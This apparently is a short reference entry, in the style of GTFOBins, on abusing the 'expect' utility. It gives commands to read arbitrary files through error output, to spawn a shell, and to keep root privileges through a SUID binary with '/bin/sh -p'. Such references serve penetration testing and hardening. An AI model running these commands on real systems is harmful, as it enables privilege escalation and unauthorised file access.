expect

File Read

The file is read and parsed as an `expect` command file, the content of the first invalid line is returned in an error message.

expect /path/to/input-file

Shell

expect -c 'spawn /bin/sh;interact'

SUID override:

expect -c 'spawn /bin/sh -p;interact'